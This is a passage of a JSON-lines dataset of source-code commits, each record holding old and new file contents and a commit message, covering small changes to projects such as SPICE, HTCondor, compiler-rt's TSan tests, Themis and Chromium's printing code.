version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, see .\n*\/\n\n\/* check statistics\n *\/\n\n#include \n#include \n\ntypedef void test_func_t(void);\n\ntest_func_t stat_test1;\ntest_func_t stat_test2;\ntest_func_t stat_test3;\ntest_func_t stat_test4;\n\nstatic test_func_t *test_funcs[] = {\n stat_test1,\n stat_test2,\n stat_test3,\n stat_test4,\n NULL\n};\n\nint main(void)\n{\n test_func_t **func_p;\n\n for (func_p = test_funcs; *func_p; ++func_p) {\n (*func_p)();\n }\n return 0;\n}\n\n","new_contents":"\/* -*- Mode: C; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n Copyright (C) 2015 Red Hat, Inc.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, see .\n*\/\n\n\/* check statistics\n *\/\n\n#include \n#include \n\ntypedef void test_func_t(void);\n\ntest_func_t stat_test1;\ntest_func_t stat_test2;\ntest_func_t stat_test3;\ntest_func_t stat_test4;\n\nstatic test_func_t *test_funcs[] = {\n stat_test1,\n stat_test2,\n stat_test3,\n stat_test4,\n NULL\n};\n\nint main(void)\n{\n test_func_t **func_p;\n\n for (func_p = test_funcs; *func_p; ++func_p) {\n (*func_p)();\n }\n return 0;\n}\n","subject":"Remove empty line at EOF","message":"syntax-check: Remove empty line at EOF\n\nAcked-by: Christophe Fergeau <05b95054a663c388a4e33d95828cb30f0370f8ef@redhat.com>\n","lang":"C","license":"lgpl-2.1","repos":"fgouget\/spice,SPICE\/spice,fgouget\/spice,fgouget\/spice,SPICE\/spice,SPICE\/spice,fgouget\/spice"} {"commit":"96430e414762391ff89b48b6c63c0983ff11365f","old_file":"source\/udc\/src\/udc_libusbg.c","new_file":"source\/udc\/src\/udc_libusbg.c","old_contents":"\/*\n * Copyright (c) 2012-2015 Samsung Electronics Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#include \"udc.h\"\n#include \n\nstruct gt_udc_backend gt_udc_backend_libusbg = {\n\t.udc = NULL,\n};\n","new_contents":"\/*\n * Copyright (c) 2012-2015 Samsung Electronics Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \n#include \n\n#include \"backend.h\"\n#include \"udc.h\"\n\nstatic int udc_func(void *data)\n{\n\tusbg_udc *u;\n\tconst char *name;\n\n\tusbg_for_each_udc(u, backend_ctx.libusbg_state) {\n\t\tname = usbg_get_udc_name(u);\n\t\tif (name == NULL) {\n\t\t\tfprintf(stderr, \"Error getting udc name\\n\");\n\t\t\treturn -1;\n\t\t}\n\n\t\tputs(name);\n\t}\n\n\treturn 0;\n}\n\nstruct gt_udc_backend gt_udc_backend_libusbg = {\n\t.udc = udc_func,\n};\n","subject":"Add gadget udc command at libusbg backend","message":"udc: Add gadget udc command at libusbg backend\n\nChange-Id: If1510069df2e6cd2620c89576ebba80685cb07d7\nSigned-off-by: Pawel Szewczyk <1691dcf8dab804b326e5e4b9ab228a1c3b23a2f2@samsung.com>\n","lang":"C","license":"apache-2.0","repos":"kopasiak\/gt,kopasiak\/gt"} {"commit":"2d4b83275dd0ce04a117a78e1eaca45d189c24f9","old_file":"test\/tsan\/libdispatch\/dispatch_once_deadlock.c","new_file":"test\/tsan\/libdispatch\/dispatch_once_deadlock.c","old_contents":"\/\/ Check that calling dispatch_once from a report callback works.\n\n\/\/ RUN: %clang_tsan %s -o %t\n\/\/ RUN: not %run %t 2>&1 | FileCheck %s\n\n#include \n\n#include \n#include \n\nlong g = 0;\nlong h = 0;\nvoid f() {\n static dispatch_once_t onceToken;\n dispatch_once(&onceToken, ^{\n g++;\n });\n h++;\n}\n\nvoid __tsan_on_report() {\n fprintf(stderr, \"Report.\\n\");\n f();\n}\n\nint main() {\n fprintf(stderr, \"Hello world.\\n\");\n\n f();\n\n pthread_mutex_t mutex = {0};\n pthread_mutex_lock(&mutex);\n\n fprintf(stderr, \"g = %ld.\\n\", g);\n fprintf(stderr, \"h = %ld.\\n\", h);\n fprintf(stderr, \"Done.\\n\");\n}\n\n\/\/ CHECK: Hello world.\n\/\/ CHECK: Report.\n\/\/ CHECK: g = 1\n\/\/ CHECK: h = 2\n\/\/ CHECK: Done.\n","new_contents":"\/\/ Check that calling dispatch_once from a report callback works.\n\n\/\/ RUN: %clang_tsan %s -o %t\n\/\/ RUN: not %run %t 2>&1 | FileCheck %s\n\n#include \n\n#include \n#include \n\nlong g = 0;\nlong h = 0;\nvoid f() {\n static dispatch_once_t onceToken;\n dispatch_once(&onceToken, ^{\n g++;\n });\n h++;\n}\n\nvoid __tsan_on_report() {\n fprintf(stderr, \"Report.\\n\");\n f();\n}\n\nint main() {\n fprintf(stderr, \"Hello world.\\n\");\n\n f();\n\n pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n pthread_mutex_unlock(&mutex); \/\/ Unlock of an unlocked mutex\n\n fprintf(stderr, \"g = %ld.\\n\", g);\n fprintf(stderr, \"h = %ld.\\n\", h);\n fprintf(stderr, \"Done.\\n\");\n}\n\n\/\/ CHECK: Hello world.\n\/\/ CHECK: Report.\n\/\/ CHECK: g = 1\n\/\/ CHECK: h = 2\n\/\/ CHECK: Done.\n","subject":"Make test work on Linux, pt. 2","message":"[TSan][libdispatch] Make test work on Linux, pt. 2\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@357741 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"} {"commit":"ed8496dd8db282150831412ba02fe27476877d1f","old_file":"You-QueryEngine\/internal\/action\/filter_task.h","new_file":"You-QueryEngine\/internal\/action\/filter_task.h","old_contents":"\/\/\/ \\file update_task.h\n\/\/\/ Defines action for updating tasks.\n\/\/\/ \\author A0112054Y\n\n#pragma once\n#ifndef YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n#define YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n\n#include \n#include \"..\/..\/filter.h\"\n#include \"..\/..\/api.h\"\n\nnamespace You {\nnamespace QueryEngine {\nnamespace Internal {\nnamespace Action {\n\n\/\/\/ Define action for updating task\nclass FilterTask : public Query {\npublic:\n\t\/\/\/ Constructor\n\texplicit FilterTask(const Filter& filter) : filter(filter) {}\n\n\t\/\/\/ Destructor\n\tvirtual ~FilterTask() = default;\nprivate:\n\t\/\/\/ Execute add task.\n\tResponse execute(State& tasks) override;\n\tFilterTask& operator=(const FilterTask&) = delete;\n\tconst Filter& filter;\n};\n\n} \/\/ namespace Action\n} \/\/ namespace Internal\n} \/\/ namespace QueryEngine\n} \/\/ namespace You\n\n#endif \/\/ YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n","new_contents":"\/\/\/ \\file update_task.h\n\/\/\/ Defines action for updating tasks.\n\/\/\/ \\author A0112054Y\n\n#pragma once\n#ifndef YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n#define YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n\n#include \n#include \"..\/..\/filter.h\"\n#include \"..\/..\/api.h\"\n\nnamespace You {\nnamespace QueryEngine {\nnamespace Internal {\nnamespace Action {\n\n\/\/\/ Define action for updating task\nclass FilterTask : public Query {\npublic:\n\t\/\/\/ Constructor\n\texplicit FilterTask(const Filter& filter) : filter(filter) {}\n\n\t\/\/\/ Destructor\n\tvirtual ~FilterTask() = default;\nprivate:\n\t\/\/\/ Execute add task.\n\tResponse execute(State& tasks) override;\n\tFilterTask& operator=(const FilterTask&) = delete;\n\tFilter filter;\n};\n\n} \/\/ namespace Action\n} \/\/ namespace Internal\n} \/\/ namespace QueryEngine\n} \/\/ namespace You\n\n#endif \/\/ YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n","subject":"Store filter by value in FilterTask","message":"Store filter by value in FilterTask\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"} {"commit":"c2830d3c934ed6643ff4a07e92bce6367651d9ee","old_file":"src\/condor_util_lib\/sig_install.c","new_file":"src\/condor_util_lib\/sig_install.c","old_contents":"","new_contents":"\/* \n** Copyright 1994 by Miron Livny, and Mike Litzkow\n** \n** Permission to use, copy, modify, and distribute this software and its\n** documentation for any purpose and without fee is hereby granted,\n** provided that the above copyright notice appear in all copies and that\n** both that copyright notice and this permission notice appear in\n** supporting documentation, and that the names of the University of\n** Wisconsin and the copyright holders not be used in advertising or\n** publicity pertaining to distribution of the software without specific,\n** written prior permission. The University of Wisconsin and the \n** copyright holders make no representations about the suitability of this\n** software for any purpose. It is provided \"as is\" without express\n** or implied warranty.\n** \n** THE UNIVERSITY OF WISCONSIN AND THE COPYRIGHT HOLDERS DISCLAIM ALL\n** WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES\n** OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE UNIVERSITY OF\n** WISCONSIN OR THE COPYRIGHT HOLDERS BE LIABLE FOR ANY SPECIAL, INDIRECT\n** OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS\n** OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE\n** OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE\n** OR PERFORMANCE OF THIS SOFTWARE.\n** \n** Author: Mike Litzkow\n**\n*\/ \n\n#define _POSIX_SOURCE\n#include \n#include \"condor_debug.h\"\n\nstatic char *_FileName_ = __FILE__;\n\n\ntypedef void (*SIG_HANDLER)();\n\nvoid\ninstall_sig_handler( int sig, SIG_HANDLER handler )\n{\n\tstruct sigaction act;\n\n\tact.sa_handler = handler;\n\tsigemptyset( &act.sa_mask );\n\tact.sa_flags = 0;\n\n\tif( sigaction(sig,&act,0) < 0 ) {\n\t\tEXCEPT( \"sigaction\" );\n\t}\n}\n","subject":"Install a sig handler using sigaction(), ensure that handler stays installed across invocations.","message":"Install a sig handler using sigaction(), ensure that handler stays\ninstalled across invocations.\n","lang":"C","license":"apache-2.0","repos":"zhangzhehust\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/condor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/condor,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/condor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,htcondor\/htcondor,djw8605\/condor,djw8605\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor"} {"commit":"55cfa656096e17cb624643b292d479752eff9b84","old_file":"myrrh\/python\/registry.h","new_file":"myrrh\/python\/registry.h","old_contents":"\/**\n@file\n\nCopyright John Reid 2013\n\n*\/\n\n#ifndef MYRRH_PYTHON_REGISTRY_H_\n#define MYRRH_PYTHON_REGISTRY_H_\n\n#ifdef _MSC_VER\n# pragma once\n#endif \/\/_MSC_VER\n\nnamespace myrrh {\nnamespace python {\n\n\/**\n * Queries if the the type specified is in the registry.\n *\/\ntemplate< typename QueryT >\nbool\nin_registry() {\n\tnamespace bp = boost::python;\n\tbp::type_info info = boost::python::type_id< QueryT >();\n\tbp::converter::registration * registration = boost::python::converter::registry::query( info );\n\treturn registration != 0;\n}\n\n} \/\/namespace myrrh\n} \/\/namespace python\n\n#endif \/\/MYRRH_PYTHON_REGISTRY_H_\n","new_contents":"\/**\n@file\n\nCopyright John Reid 2013\n\n*\/\n\n#ifndef MYRRH_PYTHON_REGISTRY_H_\n#define MYRRH_PYTHON_REGISTRY_H_\n\n#ifdef _MSC_VER\n# pragma once\n#endif \/\/_MSC_VER\n\nnamespace myrrh {\nnamespace python {\n\n\/**\n * Queries if the the type specified is in the registry. This can be used to avoid registering\n * the same type more than once.\n *\/\ntemplate< typename QueryT >\nconst boost::python::converter::registration *\nget_registration() {\n\tnamespace bp = boost::python;\n\tconst bp::type_info info = boost::python::type_id< QueryT >();\n\tconst bp::converter::registration * registration = boost::python::converter::registry::query( info );\n\t\/\/ need to check for m_to_python converter: see http:\/\/stackoverflow.com\/a\/13017303\/959926\n\tif( registration != 0 && registration->m_to_python != 0 ) {\n\t\treturn registration;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\n} \/\/namespace myrrh\n} \/\/namespace python\n\n#endif \/\/MYRRH_PYTHON_REGISTRY_H_\n","subject":"Fix for inner class registration check","message":"Fix for inner class registration check\n","lang":"C","license":"mit","repos":"JohnReid\/myrrh,JohnReid\/myrrh"} {"commit":"2b1a93b1c435fa60ffe3011bfdd70f104bc34e93","old_file":"alura\/c\/adivinhacao.c","new_file":"alura\/c\/adivinhacao.c","old_contents":"#include \n\nint main() {\n\n \/\/ imprime o cabecalho do nosso jogo\n printf(\"******************************************\\n\");\n printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n printf(\"******************************************\\n\");\n\n int numerosecreto = 42;\n\n int chute;\n\n printf(\"Qual é o seu chute? \");\n scanf(\"%d\", &chute);\n printf(\"Seu chute foi %d\\n\", chute);\n\n int acertou = chute == numerosecreto;\n\n if(acertou) {\n printf(\"Parabéns! Você acertou!\\n\");\n printf(\"Jogue de novo, você é um bom jogador!\\n\");\n } else {\n\n int maior = chute > numerosecreto;\n\n if(maior) {\n printf(\"Seu chute foi maior que o número secreto\\n\");\n } else {\n printf(\"Seu chute foi menor que o número secreto\\n\");\n }\n\n printf(\"Você errou!\\n\");\n printf(\"Mas não desanime, tente de novo!\\n\");\n }\n\n}\n","new_contents":"#include \n\nint main() {\n\n \/\/ imprime o cabecalho do nosso jogo\n printf(\"******************************************\\n\");\n printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n printf(\"******************************************\\n\");\n\n int numerosecreto = 42;\n\n int chute;\n\n for(int i = 1; i <= 3; i++) {\n\n printf(\"Tentativa %d de 3\\n\", i);\n printf(\"Qual é o seu chute? \");\n\n scanf(\"%d\", &chute);\n printf(\"Seu chute foi %d\\n\", chute);\n\n int acertou = chute == numerosecreto;\n\n if(acertou) {\n printf(\"Parabéns! Você acertou!\\n\");\n printf(\"Jogue de novo, você é um bom jogador!\\n\");\n } else {\n\n int maior = chute > numerosecreto;\n\n if(maior) {\n printf(\"Seu chute foi maior que o número secreto\\n\");\n } else {\n printf(\"Seu chute foi menor que o número secreto\\n\");\n }\n\n printf(\"Você errou!\\n\");\n printf(\"Mas não desanime, tente de novo!\\n\");\n }\n\n }\n\n printf(\"Fim de jogo!\\n\");\n\n}\n","subject":"Update files, Alura, Introdução a C, Aula 2.5","message":"Update files, Alura, Introdução a C, Aula 2.5\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"} {"commit":"b6be5329bed253db517553152ee1f76e5ee68074","old_file":"src\/parse\/stmt\/equivalence.c","new_file":"src\/parse\/stmt\/equivalence.c","old_contents":"#include \"..\/parse.h\"\n\n\nunsigned parse_stmt_equivalence(\n\tconst sparse_t* src, const char* ptr,\n\tparse_stmt_t* stmt)\n{\n\tunsigned i = parse_keyword(\n\t\tsrc, ptr, PARSE_KEYWORD_EQUIVALENCE);\n\tif (i == 0) return 0;\n\n\tstmt->type = PARSE_STMT_EQUIVALENCE;\n\tstmt->equivalence.count = 0;\n\tstmt->equivalence.group = NULL;\n\n\tunsigned len = parse_list(src, ptr,\n\t\t&stmt->equivalence.count,\n\t\t(void***)&stmt->equivalence.group,\n\t\t(void*)parse_lhs_list_bracketed,\n\t\t(void*)parse_lhs_list_delete);\n\tif (len == 0) return 0;\n\ti += len;\n\n\treturn i;\n}\n","new_contents":"#include \"..\/parse.h\"\n\n\nunsigned parse_stmt_equivalence(\n\tconst sparse_t* src, const char* ptr,\n\tparse_stmt_t* stmt)\n{\n\tunsigned i = parse_keyword(\n\t\tsrc, ptr, PARSE_KEYWORD_EQUIVALENCE);\n\tif (i == 0) return 0;\n\n\tstmt->type = PARSE_STMT_EQUIVALENCE;\n\tstmt->equivalence.count = 0;\n\tstmt->equivalence.group = NULL;\n\n\tunsigned len = parse_list(src, &ptr[i],\n\t\t&stmt->equivalence.count,\n\t\t(void***)&stmt->equivalence.group,\n\t\t(void*)parse_lhs_list_bracketed,\n\t\t(void*)parse_lhs_list_delete);\n\tif (len == 0) return 0;\n\ti += len;\n\n\treturn i;\n}\n","subject":"Fix bug in EQUIVALENCE parsing","message":"Fix bug in EQUIVALENCE parsing\n","lang":"C","license":"apache-2.0","repos":"CodethinkLabs\/ofc,CodethinkLabs\/ofc,CodethinkLabs\/ofc,CodethinkLabs\/ofc"} {"commit":"eae3d77193813825d7c4cb8dcb86d341c0b5b756","old_file":"src\/wrappers\/themis\/Obj-C\/objcthemis\/smessage.h","new_file":"src\/wrappers\/themis\/Obj-C\/objcthemis\/smessage.h","old_contents":"\/*\n* Copyright (C) 2015 CossackLabs\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#import \n#import \n\n@interface SKeygen : NSObject\n\n{\n NSData* _priv_key;\n NSData* _pub_key;\n}\n\n- (id)init;\n- (NSData*)priv_key: error:(NSError**)errorPtr;\n- (NSData*)pub_key: error:(NSError**)errorPtr;\n\n@end\n","new_contents":"\/*\n* Copyright (C) 2015 CossackLabs\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#import \n#import \n\n@interface SMessage : NSObject\n\n{\n NSMutableData* _priv_key;\n NSMutableData* _pub_key;\n}\n\n- (id)initWithPrivateKey: (NSData*)private_key peerPublicKey:(NSData*)peer_pub_key;\n- (NSData*)wrap: (NSData*)message error:(NSError**)errorPtr;\n- (NSData*)unwrap: (NSData*)message error:(NSError**)errorPtr;\n\n@end\n","subject":"Add some correction to Obj-C wrappers","message":"Add some correction to Obj-C wrappers\n","lang":"C","license":"apache-2.0","repos":"mnaza\/themis,storojs72\/themis,cossacklabs\/themis,Lagovas\/themis,storojs72\/themis,mnaza\/themis,storojs72\/themis,cossacklabs\/themis,Lagovas\/themis,storojs72\/themis,mnaza\/themis,cossacklabs\/themis,mnaza\/themis,cossacklabs\/themis,Lagovas\/themis,Lagovas\/themis,cossacklabs\/themis,cossacklabs\/themis,storojs72\/themis,storojs72\/themis,storojs72\/themis,cossacklabs\/themis,mnaza\/themis,cossacklabs\/themis,cossacklabs\/themis,cossacklabs\/themis,mnaza\/themis,cossacklabs\/themis,storojs72\/themis,cossacklabs\/themis,mnaza\/themis,Lagovas\/themis,Lagovas\/themis,Lagovas\/themis,mnaza\/themis,Lagovas\/themis,storojs72\/themis,Lagovas\/themis,mnaza\/themis,cossacklabs\/themis,storojs72\/themis"} {"commit":"a5ff559cf1182c4e86293784a64a52574eada1b4","old_file":"printing\/metafile_impl.h","new_file":"printing\/metafile_impl.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PRINTING_METAFILE_IMPL_H_\n#define PRINTING_METAFILE_IMPL_H_\n\n#if defined(OS_WIN)\n#include \"printing\/emf_win.h\"\n#elif defined(OS_MACOSX)\n#include \"printing\/pdf_metafile_cg_mac.h\"\n#elif defined(OS_POSIX)\n#include \"printing\/pdf_metafile_cairo_linux.h\"\n#endif\n\n#if !defined(OS_MACOSX) || defined(USE_SKIA)\n#include \"printing\/pdf_metafile_skia.h\"\n#endif\n\nnamespace printing {\n\n#if defined(OS_WIN)\ntypedef Emf NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#elif defined(OS_MACOSX)\n#if defined(USE_SKIA)\ntypedef PdfMetafileSkia NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#else\ntypedef PdfMetafileCg NativeMetafile;\ntypedef PdfMetafileCg PreviewMetafile;\n#endif\n#elif defined(OS_POSIX)\ntypedef PdfMetafileCairo NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#endif\n\n} \/\/ namespace printing\n\n#endif \/\/ PRINTING_METAFILE_IMPL_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PRINTING_METAFILE_IMPL_H_\n#define PRINTING_METAFILE_IMPL_H_\n\n#if defined(OS_WIN)\n#include \"printing\/emf_win.h\"\n#elif defined(OS_MACOSX)\n#include \"printing\/pdf_metafile_cg_mac.h\"\n#elif defined(OS_POSIX)\n#include \"printing\/pdf_metafile_cairo_linux.h\"\n#endif\n\n#if !defined(OS_MACOSX) || defined(USE_SKIA)\n#include \"printing\/pdf_metafile_skia.h\"\n#endif\n\nnamespace printing {\n\n#if defined(OS_WIN)\ntypedef Emf NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#elif defined(OS_MACOSX)\n#if defined(USE_SKIA)\ntypedef PdfMetafileSkia NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#else\ntypedef PdfMetafileCg NativeMetafile;\ntypedef PdfMetafileCg PreviewMetafile;\n#endif\n#elif defined(OS_POSIX)\ntypedef PdfMetafileSkia NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#endif\n\n} \/\/ namespace printing\n\n#endif \/\/ PRINTING_METAFILE_IMPL_H_\n","subject":"Switch the native print path on Linux and ChromeOS to use Skia instead of Cairo","message":"Switch the native print path on Linux and ChromeOS to use Skia instead of Cairo\n\n\nBUG=\nTEST=Pages printed via cloud print to raster based printers should successfully print images.\n\n\nReview URL: http:\/\/codereview.chromium.org\/7817007\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@99318 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,dednal\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,keishi\/chromium,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,M4sse\/chromium.src,robclark\/chromium,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,littlstar\/chromium.src,anirudhSK\/chromium,timopulkkinen\/BubbleFish,Just-D\/chromium-1,keishi\/chromium,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,robclark\/chromium,ltilve\/chromium,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,timopulkkinen\/BubbleFish,keishi\/chromium,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,keishi\/chromium,ltilve\/chromium,chuan9\/chromium-crosswalk,rogerwang\/chromium,rogerwang\/chromium,ltilve\/chromium,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,M4sse\/chromium.src,hujiajie\/pa-chromium,markYoungH\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,patrickm\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,M4sse\/chromium.src,Jonekee\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,rogerwang\/chromium,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,dednal\/chromium.src,dednal\/chromium.src,rogerwang\/chromium,Jonekee\/chromium.src,jaruba\/chromium.src,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,rogerwang\/chromium,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,anirudhSK\/chromium,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,roger